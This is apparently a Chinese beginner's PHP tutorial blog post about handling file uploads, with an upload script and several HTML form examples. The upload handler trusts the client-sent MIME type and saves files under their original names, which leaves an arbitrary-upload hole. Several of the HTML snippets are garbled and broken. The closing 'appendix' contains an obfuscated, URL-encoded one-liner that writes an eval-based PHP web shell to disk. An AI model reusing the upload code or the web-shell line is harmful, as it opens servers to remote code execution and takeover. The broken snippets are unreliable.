PHP初级【10天小积累-第八天】

84 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

PHP文件上传-8

1.php

记住

action为空是发送给本地

enctype必须等于multipart/form-data不然无法上传图片

file意思是文件

submit意思是提交

移动文件函数

<form action="" enctype="multipart/form-data" method="post" 
name="uploadfile">上传文件:<input type="file" name="upfile" /><br> 
<input type="submit" value="上传" /></form> 
<?php 
//print_r($_FILES["upfile"]); 
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
$upfile=$_FILES["upfile"]; 
//获取数组里面的值 
$name=$upfile["name"];//上传文件的文件名 
$type=$upfile["type"];//上传文件的类型 
$size=$upfile["size"];//上传文件的大小 
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
//判断是否为图片 
switch ($type){ 
case 'image/pjpeg':$okType=true; 
break; 
case 'image/jpeg':$okType=true; 
break; 
case 'image/gif':$okType=true; 
break; 
case 'image/png':$okType=true; 
break; 
} 

if($okType){ 
/** 
* 0:文件上传成功<br/> 
* 1:超过了文件大小,在php.ini文件中设置<br/> 
* 2:超过了文件的大小MAX_FILE_SIZE选项指定的值<br/> 
* 3:文件只有部分被上传<br/> 
* 4:没有文件被上传<br/> 
* 5:上传文件大小为0 
*/ 
$error=$upfile["error"];//上传后系统返回的值 
echo "================<br/>"; 
echo "上传文件名称是:".$name."<br/>"; 
echo "上传文件类型是:".$type."<br/>"; 
echo "上传文件大小是:".$size."<br/>"; 
echo "上传后系统返回的值是:".$error."<br/>"; 
echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 

echo "开始移动上传文件<br/>"; 
//把上传的临时文件移动到up目录下面 
move_uploaded_file($tmp_name,'config/'.$name); 
$destination="config/".$name; 
echo "================<br/>"; 
echo "上传信息:<br/>"; 
if($error==0){ 
echo "文件上传成功啦!"; 
echo "<br>图片预览:<br>"; 
echo "<img src=".$destination.">"; 
//echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">"; 
}elseif ($error==1){ 
echo "超过了文件大小,在php.ini文件中设置"; 
}elseif ($error==2){ 
echo "超过了文件的大小MAX_FILE_SIZE选项指定的值"; 
}elseif ($error==3){ 
echo "文件只有部分被上传"; 
}elseif ($error==4){ 
echo "没有文件被上传"; 
}else{ 
echo "上传文件大小为0"; 
} 
}else{ 
echo "请上传jpg,gif,png等格式的图片!"; 
} 
} 
?> 

提交表单

文件

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="file" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

文本

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="test" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

密码

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="password" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

时间

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="time" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

多文件提交

<html>
    <head>
        <meta charset="utf-8">
        <title>文件上传</title>
        
    </head>
    <body>
        <form action="" method="post" enctype="multipart/form-data">
         <input type="file" name="file[]">
         <input type="file" name="file[]">
         <input type="submit" value="上传">    
        </form>
        
    </body>

</html>
<?php
//打印$_FILES文件上传数组的数据
var_dump($_FILES);
?>

他们的name要一样并且会面要跟一个中括号,[]为什么要加中括号,因为加了中括号代表他们是以数组的形式传输过去的,并不是分开

附加

创建文件

$myfile = fopen("1.php", "w")

写入文件并覆盖

file_put_contents(%27sjz.php%27,"<?php"."%20"."@eval"."($"."_"."POST"."[%27shell%27]);"."?>");